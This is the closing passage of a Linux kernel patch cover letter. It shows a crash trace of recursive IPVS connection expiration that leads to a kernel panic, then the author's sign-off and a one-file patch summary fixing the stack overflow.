[   59.508945]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.509410]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.509895]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.510394]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.510867]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.511317]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.511851]  ? ext4_writepages (fs/ext4/inode.c:3032)
[   59.512273]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.512816]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.513289]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.513781]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.514393]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.514843]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.515315]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.515765]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.516254]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.516791]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.517379]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.517823]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.518313]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.518757]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.519224]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.519667]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.520143]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.520588]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.521453]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.521911]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.522395]  ? addrconf_notify (net/ipv6/addrconf.c:3812)
[   59.522823]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.523306]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.523819]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.524264]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.524733]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.525579]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.526136]  ? __pfx_sched_balance_find_src_group (kernel/sched/fair.c:11815)
[   59.526694]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.527147]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.527625]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.528070]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.528537]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.528981]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.529546]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.529992]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.530479]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.530924]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.531405]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.532365]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.532943]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.533587]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.534099]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.534653]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.535148]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.535609]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.536161]  ? __flush_work (include/linux/rcupdate.h:882 kernel/workqueue.c:4389 kernel/workqueue.c:4403)
[   59.536576]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.537089]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.537578]  ? ip_vs_conn_net_cleanup (net/netfilter/ipvs/ip_vs_conn.c:1329 net/netfilter/ipvs/ip_vs_conn.c:1961 net/netfilter/ipvs/ip_vs_conn.c:2099)
[   59.538104]  ? __ip_vs_cleanup_batch (net/netfilter/ipvs/ip_vs_core.c:2542)
[   59.538659]  ? ops_undo_list (net/core/net_namespace.c:206 net/core/net_namespace.c:253)
[   59.539128]  ? __pfx_ops_undo_list (net/core/net_namespace.c:743)
[   59.539581]  ? __pfx__raw_spin_lock (kernel/locking/spinlock.c:362)
[   59.540038]  ? cleanup_net (net/core/net_namespace.c:706)
[   59.540498]  ? __pfx_cleanup_net (include/linux/llist.h:241)
[   59.540933]  ? finish_task_switch.isra.0 (kernel/sched/sched.h:1684 (discriminator 1) kernel/sched/sched.h:1697 (discriminator 1) kernel/sched/core.c:5251 (discriminator 1) kernel/sched/core.c:5369 (discriminator 1))
[   59.541513]  ? process_one_work (kernel/workqueue.c:3387)
[   59.541971]  ? __pfx___schedule (kernel/sched/core.c:8159 (discriminator 1))
[   59.542408]  ? __pfx_process_one_work (kernel/workqueue.c:4549)
[   59.542918]  ? _raw_spin_lock_irq (include/linux/instrumented.h:55 include/linux/atomic/atomic-instrumented.h:1301 include/asm-generic/qspinlock.h:112 include/linux/spinlock.h:188 include/linux/spinlock_api_smp.h:166 kernel/locking/spinlock.c:189)
[   59.543351]  ? __pfx_cleanup_net (include/linux/llist.h:241)
[   59.543790]  ? assign_work (kernel/workqueue.c:1235)
[   59.544188]  ? worker_thread (kernel/workqueue.c:3470 kernel/workqueue.c:3551)
[   59.544592]  ? __pfx_worker_thread (include/linux/list.h:264)
[   59.545077]  ? kthread (kernel/kthread.c:436)
[   59.545423]  ? recalc_sigpending (include/linux/instrumented.h:97 include/asm-generic/bitops/instrumented-atomic.h:41 include/linux/thread_info.h:109 kernel/signal.c:163)
[   59.545880]  ? __pfx_kthread (include/linux/list.h:173)
[   59.546291]  ? ret_from_fork (arch/x86/kernel/process.c:158)
[   59.546685]  ? __pfx_ret_from_fork (arch/x86/include/asm/desc.h:328 (discriminator 7))
[   59.547142]  ? __switch_to (include/linux/instrumented.h:82 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/thread_info.h:133 include/linux/sched.h:2102 arch/x86/include/asm/fpu/sched.h:34 arch/x86/kernel/process_64.c:619)
[   59.547514]  ? __switch_to_asm (arch/x86/entry/entry_64.S:206)
[   59.547907]  ? __pfx_kthread (include/linux/list.h:173)
[   59.548295]  ? ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[   59.548704]  </TASK>
[   59.549612] Kernel Offset: 0x18400000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[   59.550846] ---[ end Kernel panic - not syncing: kernel: panic_on_warn set ... ]---
-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  ipvs: avoid stack overflow from recursive connection expiration

 net/netfilter/ipvs/ip_vs_conn.c | 18 +++---------------
 1 file changed, 3 insertions(+), 15 deletions(-)

-- 
2.43.0